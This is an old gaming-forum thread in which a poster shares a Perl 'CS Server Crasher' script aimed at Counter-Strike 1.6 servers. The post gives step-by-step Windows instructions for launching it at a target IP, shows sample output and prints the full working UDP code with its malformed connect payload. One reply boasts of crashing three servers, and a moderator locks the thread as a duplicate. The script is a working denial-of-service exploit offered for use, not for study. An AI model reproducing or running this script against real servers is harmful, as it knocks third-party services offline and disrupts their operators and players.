Devangell™ Posted December 22, 2009 Share Posted December 22, 2009 I know this perl is old but works still fine! And this perl is just edited by me the creator of this perl is str0ke. How to use: Added New Link* Download ActivePerl : http://www.activestate.com/activeperl/ Copy the exploit and paste it to a notepad then save it as: name.pl. Go to Start, Run type in CMD. Drag the name.pl file to CMD window and don't press enter yet, it should be like this when u drag the exploit to CMD window: C:\csdos.pl. Now type in the server IP and press enter. Example : C:\csdos.pl 85.174.64.218:27016 (press enter). Then it should end like this : Code: C:\Documents and Settings\(name)>C:\csdos.pl 85.174.64.218:27016 # CS Server Crasher Perl Version (CS server crasher) # Doesn't Work on Steam Servers # Edited By HackDS5 / Made by str0ke # A A A A A00000000 999416013 2 >A A A A connect 47 999416013 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed 866538c9db76""\" A A A A A00000000 999416013 2 >A A A A connect 47 999416013 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed 866538c9db76""\" A A A A B 4 "83.255.18.243:4596" 0 Or in other types... Here is the Exploit/Perl Code: #!/usr/bin/perl ## ##CS Server Crasher Perl (CSDoS) ##Doesn't work on Steam Servers and steam must not- ##-be running ##Edited by HackDS5 ##Made by str0ke ##HBTTeam use IO::Socket; print q{ # # CS Server Crasher Perl Version (CS server crasher) # Doesn't Work on Steam Servers # Edited By HackDS5 / Made by str0ke # }; die "usage: ./csdos <host>" unless $ARGV[0]; $host=$ARGV[0]; if (fork()) { econnect($host); } else { econnect($host); }; exit; sub econnect($) { my $host=$_[0]; my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp'); die "Could not create socket: $!\n" unless $sock; $cmd="\xff\xff\xff\xff"; syswrite $sock, $cmd."getchallenge"; sysread $sock,$b,65535; print $b,"\n"; @c=split(/ /,$b); $c2=$c[1]; $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0"; print '>',$q,"\n"; syswrite $sock, $q; sysread $sock,$b,65535; print $b,"\n"; sleep 3; close $sock; } Credits : hackds5 Link to comment Share on other sites More sharing options...
Bleik Posted December 22, 2009 Share Posted December 22, 2009 Topic Title editted. Link to comment Share on other sites More sharing options...
Devangell™ Posted December 22, 2009 Author Share Posted December 22, 2009 Topic Title editted. Op yes Thanks :D and?test it and tell me!! Link to comment Share on other sites More sharing options...
Bleik Posted December 22, 2009 Share Posted December 22, 2009 Op yes Thanks :D and?test it and tell me!! I don't play/I don't have CS 1.6 So, wait results from other people... Link to comment Share on other sites More sharing options...
Devangell™ Posted December 22, 2009 Author Share Posted December 22, 2009 I don't play/I don't have CS 1.6 So, wait results from other people... i share it for fix because he want it :D btw i w8ing!! Link to comment Share on other sites More sharing options...
FiX Posted December 22, 2009 Share Posted December 22, 2009 Great Devangell!!!Thx For Share I Was Searching cs 1.6 crasher(As I Told You) Its Don't Working At All Servers Probarly They Fix It. But I Crash 3 Servers And Now I'm Happy ;D +1 Ofc. Link to comment Share on other sites More sharing options...
Hax0r Posted December 22, 2009 Share Posted December 22, 2009 I'm sorry but this dos script has already been posted. by Zujkis Karma removed and locked. Link to comment Share on other sites More sharing options...
Recommended Posts